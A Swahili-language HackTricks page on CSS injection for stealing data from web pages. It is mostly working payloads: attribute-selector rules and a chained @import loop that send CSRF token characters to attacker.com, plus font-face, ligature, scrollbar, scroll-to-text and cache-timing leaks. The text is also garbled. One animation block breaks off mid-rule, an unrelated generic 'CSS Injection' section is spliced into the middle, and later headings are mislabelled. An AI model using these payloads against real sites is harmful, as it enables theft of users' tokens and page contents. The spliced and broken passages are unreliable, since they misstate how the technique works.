hacktricks/pentesting-web/xs-search/css-injection/README.md

# Uingizaji wa CSS

<details>

<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>

Njia nyingine za kusaidia HackTricks:

* Ikiwa unataka kuona **kampuni yako inatangazwa kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.

</details>

## Uingizaji wa CSS

### Chaguo la Sifa

Vidhibiti vya CSS vinaundwa ili kulinganisha thamani za `jina` na `thamani` ya kipengele cha `input`. Ikiwa thamani ya kipengele cha input inaanza na herufi maalum, rasilimali ya nje iliyopangwa tayari inasomwa:
```css
input[name=csrf][value^=a]{
background-image: url(https://attacker.com/exfil/a);
}
input[name=csrf][value^=b]{
background-image: url(https://attacker.com/exfil/b);
}
/* ... */
input[name=csrf][value^=9]{
background-image: url(https://attacker.com/exfil/9);
}
```
Hata hivyo, njia hii inakabiliwa na kikwazo wakati inashughulikia vipengele vya pembejeo vilivyofichwa (`type="hidden"`) kwa sababu vipengele vilivyofichwa havipakii mandharinyuma.

#### Kuepuka Vipengele Vilivyofichwa

Ili kuzunguka kikwazo hiki, unaweza kulenga kipengele cha ndugu kinachofuata kwa kutumia kishikilizi cha ndugu cha jumla `~`. Sheria ya CSS basi inatumika kwa ndugu zote zinazofuata kipengele cha pembejeo kilichofichwa, ikisababisha picha ya mandharinyuma kupakia:
```css
input[name=csrf][value^=csrF] ~ * {
background-image: url(https://attacker.com/exfil/csrF);
}
```
Mfano wa vitendo wa kutumia mbinu hii umeelezwa kwa undani katika kificho kilichotolewa. Unaweza kuona kificho hicho [hapa](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e).

#### Mahitaji ya CSS Injection

Ili mbinu ya CSS Injection iwe na ufanisi, hali zifuatazo lazima zitimizwe:

1. **Urefu wa Payload**: Vector ya CSS injection lazima iweze kusaidia payloads ndefu vya kutosha kuwezesha utekelezaji wa selectors uliotengenezwa.
2. **Upya wa CSS**: Lazima uwe na uwezo wa kuunda ukurasa, ambao ni muhimu kwa kuzindua upya wa CSS na payloads mpya zilizotengenezwa.
3. **Rasilimali za Nje**: Mbinu hii inategemea uwezo wa kutumia picha zilizohifadhiwa nje ya tovuti. Hii inaweza kuwa imezuiliwa na Sera ya Usalama ya Yaliyomo (CSP) ya tovuti.

### Kuchagua Kipengele kwa Kipengele Kipofu

Kama [**ilivyoelezwa katika chapisho hili**](https://portswigger.net/research/blind-css-exfiltration), ni muhimu kuunganisha selectors **`:has`** na **`:not`** ili kutambua maudhui hata kutoka kwenye vipengele vipofu. Hii ni muhimu sana wakati huna wazo la kilichomo ndani ya ukurasa wa wavuti unaojaza CSS injection.\
Pia ni muhimu kutumia selectors hizo kuondoa habari kutoka kwenye vikundi kadhaa vya aina ile ile kama vile:
```html
<style>
html:has(input[name^="m"]):not(input[name="mytoken"]) {
background:url(/m);
}
</style>
<input name=mytoken value=1337>
<input name=myname value=gareth>
```
Kwa kuchanganya na mbinu ya **@import** ifuatayo, niwezekano wa kuvuja habari nyingi kwa kutumia CSS injection kutoka kwenye kurasa zisizo na uwezo wa kuona na **blind-css-exfiltration**.

### @import

Mbinu iliyotangulia ina baadhi ya mapungufu, angalia mahitaji ya awali. Unahitaji kuwa na uwezo wa **kutuma viungo vingi kwa muathirika**, au unahitaji kuwa na uwezo wa **kuweka CSS injection kwenye ukurasa unaoweza kuvuja**.

Hata hivyo, kuna mbinu nyingine nzuri ambayo hutumia **CSS `@import`** kuboresha ubora wa mbinu.

Hii ilionyeshwa kwanza na [**Pepe Vila**](https://vwzq.net/slides/2019-s3\_css\_injection\_attacks.pdf) na inafanya kazi kama ifuatavyo:

Badala ya kupakia ukurasa huo mara kwa mara na mizigo tofauti kila wakati (kama ilivyokuwa hapo awali), tutapakia ukurasa mara moja tu na tu kwa kuagiza kwenye seva ya mshambuliaji (hii ndiyo mizigo ya kutuma kwa muathirika):
```css
@import url('//attacker.com:5001/start?');
```
1. Import itapokea CSS script kutoka kwa wadukuzi na kivinjari kitailoa.
2. Sehemu ya kwanza ya CSS script ambayo mshambuliaji atatuma ni `@import` nyingine kwenda kwenye seva ya wadukuzi tena.
3. Seva ya wadukuzi haitajibu ombi hili bado, kwani tunataka kuvuja herufi kadhaa na kisha kujibu ombi hili na mzigo wa kuvuja herufi zinazofuata.
4. Sehemu ya pili na kubwa ya mzigo itakuwa mzigo wa kuvuja kwa kutumia kichaguzi cha sifa.
5. Hii itatuma kwa seva ya wadukuzi herufi ya kwanza ya siri na ya mwisho.
6. Mara tu seva ya wadukuzi imepokea herufi ya kwanza na ya mwisho ya siri, itajibu ombi la `@import` lililoulizwa katika hatua ya 2.
7. Jibu litakuwa sawa na hatua za 2, 3 na 4, lakini wakati huu litajaribu kupata herufi ya pili ya siri na kisha ya pili kutoka mwisho.

Mshambuliaji ataendelea na mzunguko huo hadi aweze kuvuja kabisa siri.

Unaweza kupata [msimbo wa Pepe Vila wa kutumia hii hapa](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231) au unaweza kupata [msimbo sawa lakini ulio na maoni hapa](./#css-injection)

{% hint style="info" %}
Msimbo utajaribu kugundua herufi 2 kila wakati (kutoka mwanzo na mwisho) kwa sababu kichaguzi cha sifa kinawezesha kufanya mambo kama:
```css
/* value^=  to match the beggining of the value*/
input[value^="0"]{--s0:url(http://localhost:5001/leak?pre=0)}

/* value$=  to match the ending of the value*/
input[value$="f"]{--e0:url(http://localhost:5001/leak?post=f)}
```
Hii inaruhusu script kuvuja siri haraka zaidi.
{% endhint %}

{% hint style="warning" %}
Maranyingi script **haidetecti kwa usahihi kwamba kiambishi + kisitiri kilichogunduliwa tayari ni bendera kamili** na itaendelea mbele (kwenye kiambishi) na nyuma (kwenye kisitiri) na wakati fulani itasimama.\
Usijali, tuangalie **matokeo** kwa sababu **unaweza kuona bendera hapo**.
{% endhint %}

### Selecta zingine

Njia zingine za kufikia sehemu za DOM na **selecta za CSS**:

* **`.class-ya-kutafuta:nth-child(2)`**: Hii itatafuta kipengee cha pili chenye darasa "class-ya-kutafuta" kwenye DOM.
*   Chaguo la **`:empty`**: Hutumiwa kwa mfano katika [**hii writeup**](https://github.com/b14d35/CTF-Writeups/tree/master/bi0sCTF%202022/Emo-Locker)**:**

```css
[role^="img"][aria-label="1"]:empty { background-image: url("YOUR_SERVER_URL?1"); }
```

### XS-Search kwa makosa

**Marejeo:** [CSS based Attack: Abusing unicode-range of @font-face ](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html), [Error-Based XS-Search PoC by @terjanq](https://twitter.com/terjanq/status/1180477124861407234)

Nia kuu ni **kutumia fonti ya desturi kutoka kwenye kifaa kilichodhibitiwa** na kuhakikisha kuwa **maandishi (katika kesi hii, 'A') yanawekwa na fonti hii tu ikiwa rasilimali iliyotajwa (`favicon.ico`) haiwezi kupakia**.
```html
<!DOCTYPE html>
<html>
<head>
<style>
@font-face{
font-family: poc;
src: url(http://attacker.com/?leak);
unicode-range:U+0041;
}

#poc0{
font-family: 'poc';
}

</style>
</head>
<body>

<object id="poc0" data="http://192.168.0.1/favicon.ico">A</object>
</body>
</html>
```
1. **Matumizi ya Fonti ya Kibinafsi**:
- Fonti ya kibinafsi inatambulishwa kwa kutumia sheria ya `@font-face` ndani ya lebo ya `<style>` katika sehemu ya `<head>`.
- Fonti inaitwa `poc` na inapakuliwa kutoka kwenye kipengele cha nje (`http://attacker.com/?leak`).
- Mali ya `unicode-range` imewekwa kuwa `U+0041`, ikilenga herufi maalum ya Unicode 'A'.

2. **Kipengele cha Kitu na Nakala ya Rejeleo**:
- Kipengele cha `<object>` chenye `id="poc0"` kinatengenezwa katika sehemu ya `<body>`. Kipengele hiki kinajaribu kupakia rasilimali kutoka `http://192.168.0.1/favicon.ico`.
- `font-family` kwa kipengele hiki imewekwa kuwa `'poc'`, kama ilivyoelezwa katika sehemu ya `<style>`.
- Ikiwa rasilimali (`favicon.ico`) haiwezi kupakia, maudhui ya akiba (herufi 'A') ndani ya lebo ya `<object>` yataonyeshwa.
- Maudhui ya akiba ('A') yataonyeshwa kwa kutumia fonti ya kibinafsi `poc` ikiwa rasilimali ya nje haiwezi kupakia.

### Kuunda Mtindo wa Sehemu ya Nakala ya Kuteleza

Pseudo-class ya **`:target`** inatumika kuchagua kipengele kinacholengwa na **kitambulisho cha URL**, kama ilivyoelezwa katika [maelezo ya CSS Selectors Level 4](https://drafts.csswg.org/selectors-4/#the-target-pseudo). Ni muhimu kuelewa kuwa `::target-text` haitachagua kipengele chochote isipokuwa ikiwa nakala inalengwa wazi na kitambulisho.

Wasiwasi wa usalama unatokea wakati wadukuzi wanatumia kipengele cha kitambulisho cha **Scroll-to-text**, kuruhusu kuthibitisha uwepo wa nakala maalum kwenye ukurasa wa wavuti kwa kupakia rasilimali kutoka kwenye seva yao kupitia uingizaji wa HTML. Njia hii inahusisha kuingiza sheria ya CSS kama ifuatavyo:
```css
:target::before { content : url(target.png) }
```
Katika hali kama hizo, ikiwa neno "Msimamizi" lipo kwenye ukurasa, rasilimali `target.png` inaombwa kutoka kwenye seva, ikionyesha uwepo wa neno hilo. Mfano wa shambulio hili unaweza kutekelezwa kupitia URL maalum iliyojengwa kwa kuweka CSS iliyodukuliwa pamoja na kipande cha maandishi cha Scroll-to-text:
```
http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator
```
Hapa, shambulio linabadilisha kuingiza HTML ili kuhamisha nambari ya CSS, lengo likiwa ni maandishi maalum "Msimamizi" kupitia kipande cha Scroll-to-text (`#:~:text=Administrator`). Ikiwa maandishi yanapatikana, rasilimali iliyoelezwa inapakia, ikionyesha uwepo wake kwa bahati mbaya kwa mshambuliaji.

Kwa kuzuia, mambo yafuatayo yanapaswa kuzingatiwa:

1. **Ulinganishi Mdogo wa STTF**: Kipande cha Scroll-to-text Fragment (STTF) kimeundwa ili kulinganisha tu maneno au sentensi, hivyo kikizuia uwezo wake wa kuvuja siri au alama za siri zisizo na mpangilio.
2. **Kizuizi kwa Muktadha wa Kivinjari cha Ngazi ya Juu**: STTF inafanya kazi tu katika muktadha wa kivinjari cha ngazi ya juu na haifanyi kazi ndani ya iframes, hivyo kufanya jaribio lolote la udanganyifu kuwa dhahiri zaidi kwa mtumiaji.
3. **Hitaji la Kuanzishwa kwa Mtumiaji**: STTF inahitaji hatua ya kuanzishwa na mtumiaji ili ifanye kazi, maana shambulio linawezekana tu kupitia urambazaji ulioanzishwa na mtumiaji. Mahitaji haya yanapunguza kwa kiasi kikubwa hatari ya mashambulio kufanywa kiotomatiki bila ushiriki wa mtumiaji. Walakini, mwandishi wa chapisho la blogu anataja hali na njia za kuzunguka maalum (kama vile uhandisi wa kijamii, mwingiliano na programu-jalizi maarufu za kivinjari) ambazo zinaweza kuwezesha kiotomatiki shambulio.

Ufahamu wa mifumo hii na udhaifu unaowezekana ni muhimu kwa kudumisha usalama wa wavuti na kulinda dhidi ya mbinu za udanganyifu kama hizo.

Kwa habari zaidi angalia ripoti ya asili: [https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/](https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/)

Unaweza kuangalia [**shambulio linalotumia mbinu hii kwa CTF hapa**](https://gist.github.com/haqpl/52455c8ddfec33aeefb468301d70b6eb).

### @font-face / unicode-range <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>

Unaweza kubainisha **fonti za nje kwa thamani maalum za unicode** ambazo zitakusanywa tu ikiwa thamani hizo za unicode zipo kwenye ukurasa. Kwa mfano:
```html
<style>
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?A); /* fetched */
unicode-range:U+0041;
}
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?B); /* fetched too */
unicode-range:U+0042;
}
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?C); /* not fetched */
unicode-range:U+0043;
}
#sensitive-information{
font-family:poc;
}
</style>

<p id="sensitive-information">AB</p>htm
```
Unapoingia ukurasa huu, Chrome na Firefox hupata "?A" na "?B" kwa sababu kipengele cha habari nyeti kina herufi "A" na "B". Lakini Chrome na Firefox hawapati "?C" kwa sababu hauna "C". Hii inamaanisha kuwa tumeweza kusoma "A" na "B".

### Udukuzi wa kuvuja kwa kipengele cha maandishi (I): ligatures <a href="#udukuzi-wa-kuvuja-kwa-kipengele-cha-maandishi-i-ligatures" id="udukuzi-wa-kuvuja-kwa-kipengele-cha-maandishi-i-ligatures"></a>

**Marejeleo:** [Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację](https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/)

Teknolojia iliyoelezwa inahusisha kuchukua maandishi kutoka kwa kipengele kwa kuchanganya herufi za fonti na kufuatilia mabadiliko ya upana. Mchakato huu unajumuisha hatua kadhaa:

1. **Uundaji wa Fonti za Kibinafsi**:
- Fonti za SVG zinaundwa na glyphs zikiwa na sifa ya `horiz-adv-x`, ambayo inaweka upana mkubwa kwa glyph inayowakilisha mfuatano wa herufi mbili.
- Mfano wa glyph ya SVG: `<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>`, ambapo "XY" inaonyesha mfuatano wa herufi mbili.
- Fonti hizi zinaongezwa kwenye muundo wa woff kwa kutumia fontforge.

2. **Ugunduzi wa Mabadiliko ya Upana**:
- CSS inatumika kuhakikisha kuwa maandishi hayapindi (`white-space: nowrap`) na kubinafsisha mtindo wa kisanduku cha skrini.
- Kuonekana kwa kisanduku cha skrini ya usawa, kilichobinafsishwa kwa njia tofauti, hufanya kama kiashiria (oracle) kwamba ligature fulani, na hivyo mfuatano fulani wa herufi, upo katika maandishi.
- CSS inayohusika:
```css
body { white-space: nowrap };
body::-webkit-scrollbar { background: blue; }
body::-webkit-scrollbar:horizontal { background: url(http://attacker.com/?leak); }
```

3. **Mchakato wa Udukuzi**:
- **Hatua ya 1**: Fonti zinaundwa kwa jozi za herufi zenye upana mkubwa.
- **Hatua ya 2**: Mbinu ya kisanduku cha skrini inatumika kugundua wakati glyph yenye upana mkubwa (ligature ya jozi ya herufi) inavyoonyeshwa, ikionyesha uwepo wa mfuatano wa herufi.
- **Hatua ya 3**: Baada ya kugundua ligature, glyphs mpya zinaundwa kuwakilisha mfuatano wa herufi tatu, zikiunganisha jozi iliyogunduliwa na kuongeza herufi kabla au baada yake.
- **Hatua ya 4**: Ugunduzi wa ligature ya herufi tatu unafanywa.
- **Hatua ya 5**: Mchakato unaendelea, ukifichua hatua kwa hatua maandishi yote.

4. **Uboreshaji**:
- Mbinu ya sasa ya kuanzisha kwa kutumia `<meta refresh=...` sio bora.
- Njia yenye ufanisi zaidi inaweza kuhusisha mbinu ya CSS `@import`, ikiboresha utendaji wa udukuzi.

### Udukuzi wa kuvuja kwa kipengele cha maandishi (II): kuvuja kwa charset kwa kutumia fonti ya chaguo-msingi (bila kuhitaji rasilimali za nje) <a href="#udukuzi-wa-kuvuja-kwa-kipengele-cha-maandishi-ii-kuvuja-kwa-charset-kwa-kutumia-fonti-ya-chaguo-msingi" id="udukuzi-wa-kuvuja-kwa-kipengele-cha-maandishi-ii-kuvuja-kwa-charset-kwa-kutumia-fonti-ya-chaguo-msingi"></a>

**Marejeleo:** [PoC using Comic Sans by @Cgvwzq & @Terjanq](https://demo.vwzq.net/css2.html)

Mbinu hii ilitolewa katika [**mjadala wa Slackers**](https://www.reddit.com/r/Slackers/comments/dzrx2s/what\_can\_we\_do\_with\_single\_css\_injection/). Charset inayotumiwa katika kipengele cha maandishi inaweza kuvuja **kwa kutumia fonti za chaguo-msingi** zilizosanikishwa kwenye kivinjari: hakuna fonti za nje -au za kibinafsi- zinazohitajika.

Wazo linahusisha kutumia uhuishaji kuongeza taratibu upana wa `div`, kuruhusu herufi moja kwa wakati kuhamia kutoka sehemu ya 'sufiksi' ya maandishi hadi sehemu ya 'kiambishi'. Mchakato huu unagawa maandishi katika sehemu mbili:

1. **Kiambishi**: Mstari wa awali.
2. **Sufiksi**: Mstari/mistari inayofuata.

Hatua za mpito za herufi zitaonekana kama ifuatavyo:

**C**\
ADB

**CA**\
DB

**CAD**\
B

**CADB**


Katika mpito huu, **mtego wa unicode-range** unatumika kutambua kila herufi mpya inapojiunga na kiambishi. Hii inafanikiwa kwa kubadilisha fonti kuwa Comic Sans, ambayo ni refu kuliko fonti ya chaguo-msingi, na hivyo kusababisha kisanduku cha skrini cha wima. Kuonekana kwa kisanduku cha skrini hiki kunafichua uwepo wa herufi mpya katika kiambishi.

Ingawa njia hii inaruhusu ugunduzi wa herufi za kipekee wanapoonekana, haifafanui herufi ipi inarudiwa, tu kwamba kuna kurudia kumetokea.

{% hint style="info" %}
Kimsingi, **unicode-range inatumika kugundua herufi**, lakini kwa kuwa hatutaki kupakia fonti ya nje, tunahitaji kupata njia nyingine.\
Wakati **herufi** inapopatikana, inapewa **fonti ya Comic Sans iliyosanikishwa tayari**, ambayo inafanya herufi kuwa **kubwa** na kusababisha **kisanduku cha skrini** ambacho kitavuja herufi iliyopatikana.
{% endhint %}

Angalia nambari iliyochukuliwa kutoka kwa PoC:
```css
/* comic sans is high (lol) and causes a vertical overflow */
@font-face{font-family:has_A;src:local('Comic Sans MS');unicode-range:U+41;font-style:monospace;}
@font-face{font-family:has_B;src:local('Comic Sans MS');unicode-range:U+42;font-style:monospace;}
@font-face{font-family:has_C;src:local('Comic Sans MS');unicode-range:U+43;font-style:monospace;}
@font-face{font-family:has_D;src:local('Comic Sans MS');unicode-range:U+44;font-style:monospace;}
@font-face{font-family:has_E;src:local('Comic Sans MS');unicode-range:U+45;font-style:monospace;}
@font-face{font-family:has_F;src:local('Comic Sans MS');unicode-range:U+46;font-style:monospace;}
@font-face{font-family:has_G;src:local('Comic Sans MS');unicode-range:U+47;font-style:monospace;}
@font-face{font-family:has_H;src:local('Comic Sans MS');unicode-range:U+48;font-style:monospace;}
@font-face{font-family:has_I;src:local('Comic Sans MS');unicode-range:U+49;font-style:monospace;}
@font-face{font-family:has_J;src:local('Comic Sans MS');unicode-range:U+4a;font-style:monospace;}
@font-face{font-family:has_K;src:local('Comic Sans MS');unicode-range:U+4b;font-style:monospace;}
@font-face{font-family:has_L;src:local('Comic Sans MS');unicode-range:U+4c;font-style:monospace;}
@font-face{font-family:has_M;src:local('Comic Sans MS');unicode-range:U+4d;font-style:monospace;}
@font-face{font-family:has_N;src:local('Comic Sans MS');unicode-range:U+4e;font-style:monospace;}
@font-face{font-family:has_O;src:local('Comic Sans MS');unicode-range:U+4f;font-style:monospace;}
@font-face{font-family:has_P;src:local('Comic Sans MS');unicode-range:U+50;font-style:monospace;}
@font-face{font-family:has_Q;src:local('Comic Sans MS');unicode-range:U+51;font-style:monospace;}
@font-face{font-family:has_R;src:local('Comic Sans MS');unicode-range:U+52;font-style:monospace;}
@font-face{font-family:has_S;src:local('Comic Sans MS');unicode-range:U+53;font-style:monospace;}
@font-face{font-family:has_T;src:local('Comic Sans MS');unicode-range:U+54;font-style:monospace;}
@font-face{font-family:has_U;src:local('Comic Sans MS');unicode-range:U+55;font-style:monospace;}
@font-face{font-family:has_V;src:local('Comic Sans MS');unicode-range:U+56;font-style:monospace;}
@font-face{font-family:has_W;src:local('Comic Sans MS');unicode-range:U+57;font-style:monospace;}
@font-face{font-family:has_X;src:local('Comic Sans MS');unicode-range:U+58;font-style:monospace;}
@font-face{font-family:has_Y;src:local('Comic Sans MS');unicode-range:U+59;font-style:monospace;}
@font-face{font-family:has_Z;src:local('Comic Sans MS');unicode-range:U+5a;font-style:monospace;}
@font-face{font-family:has_0;src:local('Comic Sans MS');unicode-range:U+30;font-style:monospace;}
@font-face{font-family:has_1;src:local('Comic Sans MS');unicode-range:U+31;font-style:monospace;}
@font-face{font-family:has_2;src:local('Comic Sans MS');unicode-range:U+32;font-style:monospace;}
@font-face{font-family:has_3;src:local('Comic Sans MS');unicode-range:U+33;font-style:monospace;}
@font-face{font-family:has_4;src:local('Comic Sans MS');unicode-range:U+34;font-style:monospace;}
@font-face{font-family:has_5;src:local('Comic Sans MS');unicode-range:U+35;font-style:monospace;}
@font-face{font-family:has_6;src:local('Comic Sans MS');unicode-range:U+36;font-style:monospace;}
@font-face{font-family:has_7;src:local('Comic Sans MS');unicode-range:U+37;font-style:monospace;}
@font-face{font-family:has_8;src:local('Comic Sans MS');unicode-range:U+38;font-style:monospace;}
@font-face{font-family:has_9;src:local('Comic Sans MS');unicode-range:U+39;font-style:monospace;}
@font-face{font-family:rest;src: local('Courier New');font-style:monospace;unicode-range:U+0-10FFFF}

div.leak {
overflow-y: auto; /* leak channel */
overflow-x: hidden; /* remove false positives */
height: 40px; /* comic sans capitals exceed this height */
font-size: 0px; /* make suffix invisible */
letter-spacing: 0px; /* separation */
word-break: break-all; /* small width split words in lines */
font-family: rest; /* default */
background: grey; /* default */
width: 0px; /* initial value */
animation: loop step-end 200s 0s, trychar step-end 2s 0s; /* animations: trychar duration must be 1/100th of loop duration */
animation-iteration-count: 1, infinite; /* single width iteration, repeat trychar one per width increase (or infinite) */
}

div.leak::first-line{
font-size: 30px; /* prefix is visible in first line */
text-transform: uppercase; /* only capital letters leak */
}

/* iterate over all chars */
@keyframes trychar {
0% { font-family: rest; } /* delay for width change */
5% { font-family: has_A, rest; --leak: url(?a); }
6% { font-family: rest; }
10% { font-family: has_B, rest; --leak: url(?b); }
11% { font-family: rest; }
15% { font-family: has_C, rest; --leak: url(?c); }
16% { font-family: rest }
20% { font-family: has_D, rest; --leak: url(?d); }
21% { font-family: rest; }
25% { font-family: has_E, rest; --leak: url(?e); }
26% { font-family: rest; }
30% { font-family: has_F, rest; --leak: url(?f); }
31% { font-family: rest; }
35% { font-family: has_G, rest; --leak: url(?g); }
36% { font-family: rest; }
40% { font-family: has_H, rest; --leak: url(?h); }
41% { font-family: rest }
45% { font-family: has_I, rest; --leak: url(?i); }
46% { font-family: rest; }
50% { font-family: has_J, rest; --leak: url(?j); }
51% { font-family: rest; }
55% { font-family: has_K, rest; --leak: url(?k); }
56% { font-family: rest; }
60% { font-family: has_L, rest; --leak: url(?l); }
61% { font-family: rest; }
65% { font-family: has_M, rest; --leak: url(?m); }
66% { font-family: rest; }
70% { font-family: has_N, rest; --leak: url(?n); }
71% { font-family: rest; }
75% { font-family: has_O, rest; --leak: url(?o); }
76% { font-family: rest; }
80% { font-family: has_P, rest; --leak: url(?p); }
81% { font-family: rest; }
85% { font-family: has_Q, rest; --leak: url(?q); }
86% { font-family: rest; }
90% { font-family: has_R, rest; --leak: url(?r); }
91% { font-family: rest; }
95% { font-family: has_S, rest; --leak: url(?s); }
96% { font-family: rest; }
}

/* increase width char by char, i.e. add new char to prefix */
@keyframes loop {
0% { width: 0px }
1% { width: 20px }
2% { width: 40px }
3% { width: 60px }
4% { width: 80px }
4% { width: 100px }
# CSS Injection

Hii ni mbinu ya kuingiza CSS kwenye tovuti ili kufanya mabadiliko fulani. Kwa mfano, unaweza kutumia CSS Injection kubadilisha upana wa kipengee fulani kwenye tovuti.

Kwa mfano, unaweza kutumia kanuni ifuatayo ya CSS Injection kubadilisha upana wa kipengee kwa asilimia tofauti:

```css
@keyframes changeWidth {
5% { width: 120px }
6% { width: 140px }
7% { width: 0px }
}

div {
animation: changeWidth 1s infinite;
}

div::-webkit-scrollbar {
background: blue;
}

/* side-channel */
div::-webkit-scrollbar:vertical {
background: blue var(--leak);
}
```

Katika mfano huu, tunatumia `@keyframes` kuanzisha mzunguko wa mabadiliko ya upana wa kipengee. Kisha, tunatumia `animation` kwenye kipengee cha `div` ili kuomba mzunguko huo wa mabadiliko ya upana.

Pia, tunatumia `div::-webkit-scrollbar` kubadilisha rangi ya background ya scrollbar. Na kwa kutumia `div::-webkit-scrollbar:vertical`, tunaweza kubadilisha rangi ya background ya scrollbar ya upande wa pili.

Kwa kutumia CSS Injection, unaweza kufanya mabadiliko mbalimbali kwenye tovuti kwa kutumia kanuni za CSS.
### Uchunguzi wa Node ya Matini (III): Kuvuja kwa charset kwa kutumia fonti ya chaguo-msingi kwa kuficha vitu (bila kuhitaji mali za nje) <a href="#uchunguzi-wa-node-ya-matini-ii-kuvuja-kwa-charset-kwa-kutumia-fonti-ya-chaguo-msingi" id="uchunguzi-wa-node-ya-matini-ii-kuvuja-kwa-charset-kwa-kutumia-fonti-ya-chaguo-msingi"></a>

**Marejeo:** Hii inatajwa kama [suluhisho lisilofanikiwa katika andishi hili](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)

Kesi hii ni sawa sana na ile iliyotangulia, hata hivyo, katika kesi hii lengo la kufanya **herufi maalum kuwa kubwa kuliko nyingine ni kuficha kitu** kama kifungo ambacho hakitabonyezwa na boti au picha ambayo haitapakia. Kwa hivyo tunaweza kupima hatua (au kutokuwepo kwa hatua) na kujua ikiwa herufi maalum ipo ndani ya matini.

### Uchunguzi wa Node ya Matini (III): Kuvuja kwa charset kwa kutumia muda wa kache (bila kuhitaji mali za nje) <a href="#uchunguzi-wa-node-ya-matini-ii-kuvuja-kwa-charset-kwa-kutumia-fonti-ya-chaguo-msingi" id="uchunguzi-wa-node-ya-matini-ii-kuvuja-kwa-charset-kwa-kutumia-fonti-ya-chaguo-msingi"></a>

**Marejeo:** Hii inatajwa kama [suluhisho lisilofanikiwa katika andishi hili](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)

Katika kesi hii, tunaweza jaribu kuvuja ikiwa herufi ipo katika matini kwa kupakia fonti bandia kutoka asili ile ile:
```css
@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1);
unicode-range: U+0041;
}
```
Ikiwa kuna mechi, **font itapakia kutoka `/static/bootstrap.min.css?q=1`**. Ingawa haitapakia kwa mafanikio, **kivinjari kinapaswa kukihifadhi**, na hata kama hakuna hifadhi, kuna **muhuri wa 304 usiobadilishwa**, kwa hivyo **jibu linapaswa kuwa haraka** kuliko mambo mengine.

Walakini, ikiwa tofauti ya wakati kati ya jibu lililohifadhiwa na lile lisilohifadhiwa sio kubwa ya kutosha, hii haitakuwa na maana. Kwa mfano, mwandishi alitaja: Walakini, baada ya kufanya majaribio, niligundua kuwa shida ya kwanza ni kwamba kasi haipo sana, na shida ya pili ni kwamba boti hutumia bendera ya `disk-cache-size=1`, ambayo ni ya kufikiria sana.

### Uchunguzi wa Kifungu cha Nakala (III): kuvuja kwa charset kwa kupima upakiaji wa mamia ya "fonti" za ndani (bila kuhitaji mali za nje) <a href="#uchunguzi-wa-kifungu-cha-nakala-ii-kuvuja-kwa-charset-kwa-fonti-ya-kawaida" id="uchunguzi-wa-kifungu-cha-nakala-ii-kuvuja-kwa-charset-kwa-fonti-ya-kawaida"></a>

**Marejeleo:** Hii inatajwa kama [suluhisho lisilofanikiwa katika andishi hili](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)

Katika kesi hii, unaweza kuonyesha **CSS kupakia mamia ya fonti bandia** kutoka asili ile ile wakati mechi inatokea. Kwa njia hii, unaweza **kupima wakati** inachukua na kugundua ikiwa herufi inaonekana au la kwa kitu kama:
```css
@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1),
url(/static/bootstrap.min.css?q=2),
....
url(/static/bootstrap.min.css?q=500);
unicode-range: U+0041;
}
```
Na msimbo wa boti unaonekana kama huu:
```python
browser.get(url)
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
time.sleep(30)
```
Kwa hivyo, ikiwa herufi hazilingani, wakati wa majibu wakati wa kutembelea bot inatarajiwa kuwa takriban sekunde 30. Walakini, ikiwa kuna kulingana na herufi, maombi mengi yatatumwa kupata herufi, ikisababisha shughuli za mtandao kuendelea. Kama matokeo, itachukua muda mrefu kutimiza hali ya kusimamisha na kupokea majibu. Kwa hivyo, wakati wa majibu unaweza kutumika kama kiashiria cha kubaini ikiwa kuna kulingana na herufi.

## Marejeo

* [https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e](https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e)
* [https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b](https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b)
* [https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d](https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d)
* [https://x-c3ll.github.io/posts/CSS-Injection-Primitives/](https://x-c3ll.github.io/posts/CSS-Injection-Primitives/)

<details>

